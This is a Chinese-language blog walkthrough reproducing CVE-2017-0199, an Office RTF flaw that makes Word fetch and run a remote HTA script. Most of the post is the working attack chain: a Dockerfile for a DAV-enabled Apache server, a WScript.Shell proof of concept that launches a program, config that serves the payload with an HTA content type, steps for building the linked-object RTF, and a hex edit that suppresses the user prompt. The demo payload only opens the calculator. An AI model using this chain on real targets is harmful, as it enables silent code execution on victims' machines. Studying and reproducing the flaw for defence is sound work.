CVE-2017-0199漏洞復現 2017-04-20 #office #rtf漏洞 #cve-2017-0199
CVE-2017-0199是首個Microsoft Office RTF漏洞,漏洞發布日期為2017年4月11日。受影響系統包括:
- Microsoft Office 2016
- Microsoft Office 2013
- Microsoft Office 2010
- Microsoft Office 2007
當用戶打開包含嵌入式漏洞的文檔時,此漏洞允許惡意攻擊者下載并執行包含PowerShell命令的Visual Basic腳本。
微軟官方對該漏洞的通告:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199
漏洞復現
首先我們需要一個apache服務器、一個POC、一個Word。
apache
apache需要開啟DAV支持,為了方便。
這里我使用了docker來搭建,寫了如下Dockerfile:
FROM ubuntu:14.04
MAINTAINER 王松_Striker
?
? RUN sed -i ‘s/archive.ubuntu.com/mirrors.ustc.edu.cn/g’ /etc/apt/sources.list
?
RUN apt-get update -y && apt-get install -y apache2
RUN a2enmod dav \
&& a2enmod dav_fs \
&& a2enmod dav_lock \
&& a2enmod headers
RUN service apache2 restart
EXPOSE 80
COPY start.sh /start.sh
RUN chmod +x start.sh
CMD ["/start.sh"]
其中start.sh的內容為:
#!/bin/bash
service apache2 start
tail -f /var/log/apache2/access.log
然后構建該鏡像:
docker build -t cve-2017-0199 .
運行容器:
docker run -d -p 8881:80 cve-2017-0199
本地打開,如果出現如下頁面表示搭建成功:
POC
a=new ActiveXObject("WScript.Shell");
a.run('%windir%\\System32\\cmd.exe /c calc.exe', 0);window.close();
Word
新建一個Word,名為:test.docx
內容任意,我這里使用Hi, Striker
復現過程
首先在apache目錄下建立test目錄,我們需要進入docker容器中并返回一個交互shell,方便后續操作:
docker exec -it 容器ID /bin/bash
然后在交互shell中執行:
mkdir /var/www/html/test/
然后我們把test.docx
復制到test
目錄下:
新建一個shell窗口執行:
docker cp `pwd`/test.docx 容器ID:/var/www/html/test/
然后在把test.docx
命名為test.rtf
:
cd /var/www/html/test/
mv test.docx test.rtf
然后新建一個word就叫mypoc.docx
吧。
分別點擊插入 -> 對象 -> 由文件創建 -> 鏈接到文件
,然后輸入rtf的網址。
然后把mypoc.docx
另存為exp.rtf
。
現在我們可以刪掉apache上的test.rtf
,然后寫入POC或直接替換掉test.rtf
:
echo "
a=new ActiveXObject("WScript.Shell");
a.run('%windir%\\System32\\cmd.exe /c calc.exe', 0);window.close();
" > test.rtf
此時我們需要修改apache的配置:
vi /etc/apache2/apache2.conf
需要添加的內容如下:
<Directory />
Dav on
</Directory>
<Directory /var/www/html/test/>
Header set Content-Type "application/hta"
</Directory>
效果如圖:
然后重啟服務器:
service apache2 restart
此時打開我們的exp.rtf
點擊“是”,將會彈出計算器:
當然這個提示也是可以取消掉的。
我們用winhex
打開exp.rtf
將\object\objautlink\rsltpict
修改為\object\objautlink\objupdate\rsltpict
:
文章首發于Web安全與前端
公眾號,歡迎關注.